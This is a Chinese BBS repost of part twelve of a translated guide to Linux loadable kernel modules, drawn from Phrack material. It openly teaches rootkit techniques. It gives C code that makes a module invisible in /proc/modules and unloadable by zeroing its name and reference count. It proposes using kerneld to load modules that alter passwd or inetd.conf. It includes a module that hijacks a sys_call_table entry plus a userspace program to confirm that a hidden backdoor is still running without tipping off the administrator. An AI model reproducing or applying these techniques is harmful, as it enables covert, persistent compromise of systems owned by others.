荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (快过年吧.我想回家), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十二)(转寄)[转载]
发信站: 荔园晨风BBS站 (Thu Jan  2 18:23:51 2003), 站内信件

【 以下文字转载自 cycker 的信箱 】
【 原文由 xiaofong@bbs.pku.edu.cn 所发表 】
发信人: chenhao (努力学习), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十二)
发信站: 北大未名站 (2000年11月20日01:21:19 星期一) , 转信

第二部分 渐入佳境

2.9 使我们的LKM不可见,而且不可卸载

现在我们该开始谈谈我们最为重要和有趣的部分了,这个想法起源于plaguez的发表于Phr
ack的LKM(其他的一些人,像Solar Designer,在过去讨论过这些......

到目前为止,我们可以隐藏文件,进程,目录和任何我们想隐藏的.但是我们不能隐藏我们自
己的LKM.加载一个LKM并且看一眼/proc/modules.有很多方法我们可以解决这个问题.第一
个方案我们可以隐藏文件的一部分(见2.4.3).这会很易于实现.但是还有一个更好更安全的
一个方法.使用这个技术你必须截获sys_query_module(...)系统调用.一个关于这个实现的
简单例子可以看A-b.


正如我在1.1中解释的,一个模块最后是通过一个init_module(...)系统调用来开始初始化
函数的.init_module获得一个参数:struct mod_routines *routines.这个结构包含着加载
这个模块的十分重要的信息.我们有可能通过操纵这些信息来使得我们的模块没有名字和引
用记数.在此之后,系统就不会在/proc/modules里面显示我们的LKM了.因为他会忽略没有名
字和引用记数为0的LKMs.下面的代码显示了如何获得mod_routines的部分信息,以及如何隐
藏模块.


/*来自Phrack&AFHRM*/


int init_module()

{

register struct module *mp asm("%ebp");

//或者任何他在的寄存器

*(char*)mp->name=0;

mp->size=0;

mp->ref=0;

...


这段代码代码基于这样的事实:gcc并不控制ebp寄存器.因为我们需要他来找到正确的内存
位置.在找到这个结构以后我们就可以设置结构的名字和引用记数为0.这会使得我们的模块
不可见和不可卸载.因为你只可以卸载kernel知道的LKM.但是我们的模块是kernel不知道的
.


记住这个技巧只有当gcc不改变寄存器的时候才有用.因为你需要他来存取结构.你必须使用
如下的选项:


#gcc -c -O3 -fomit-frame-pointer module.c


fomit-frame-pointer告诉gcc不要为那些不需要的函数保存页面指针.这会使得我们的寄存
器在调用init_module以后保持不变.因此我们可以存取到结构.依我看来这时最重要的技巧
,因为他使得我们可以开发隐藏的和不可卸载的LKMs.


2.10 其他的入侵kerneld进程的方法


在2.8中你看到了一种入侵kerneld的方法.他帮助我们传播了LKM传染者.他也对我们的LKM
后门十分有用.(见2.5.1).假定socketcall载入一个系统模块,而不是打开一个后门或者运
行一个shellscript或者程序.你可以加载一个模块在paswd或者inetd.conf里面加一些入口
.在加载第二个LKM以后你就有很多可能性来改变系统文件.再一次的,只要你有创造力....



2.11 如何检查当前的我们的LKM


我们学习了很多方法来使我们的模块逃避系统的检查.因此假如你自己编程在系统中用LKM
中实现一个漂亮的后门;就像一些pingd,www远程shell,shell,...这样的的东西.当你登陆
到那个系统以后,你自己怎么检查这些东西是否还运行呢?假定你登陆到了这个系统,然而你
的LKM并没有被加载(因此不能隐藏你的进程),系统管理员正等着你呢.因此当你开始在那个
系统中进行你的工作时,(比如说读你自己的纪录,检查一些邮件等等),每一步都会被管理员
监视着.没有什么好的解决方法,我们通过一个简单的检查来确信我们的LKM正在运行。


我觉得下面的方法是一个好的解决方案(尽管也有很多其他的好的方法):


在你的模块中实现一个简单的系统调用

写一个小的用户空间的程序来检查这个系统调用


下面是一个实现了我们的‘检查’的系统调用的模块:


#define MODULE

#define __KERNEL__


#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>


#define SYS_CHECK 200


extern void* sys_call_table[];



int sys_check()

{

return 666;

}


int init_module(void)

/*初始化模块*/

{

sys_call_table[SYS_CHECK]=sys_check;

return 0;

}


void cleanup_module(void)

/*卸载模块*/

{}


如果你通过在eax设置200进行一个系统调用,你应该会得到一个返回值666。因此我们的用
户空间的程序可以这样检查:


#include <linux/errno.h>

#include <sys/syscall.h>

#include <errno.h>


extern void *sys_call_table[];


int check()

{

__asm__("movl $200,%eax

     int $0x80");

}


main()

{

int ret;

ret = check();

if (ret!=666)

printf("Our module is *not* present !!\n");

else

printf("Our module is present, continue...\n");

}


在我看来,这是最简单的检查我们的LKM的方法之一。不妨试试。




--
※ 来源:.北大未名站 bbs.pku.edu.cn [FROM: 162.105.45.129]
--
※ 转寄:·北大未名站 bbs.pku.edu.cn·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店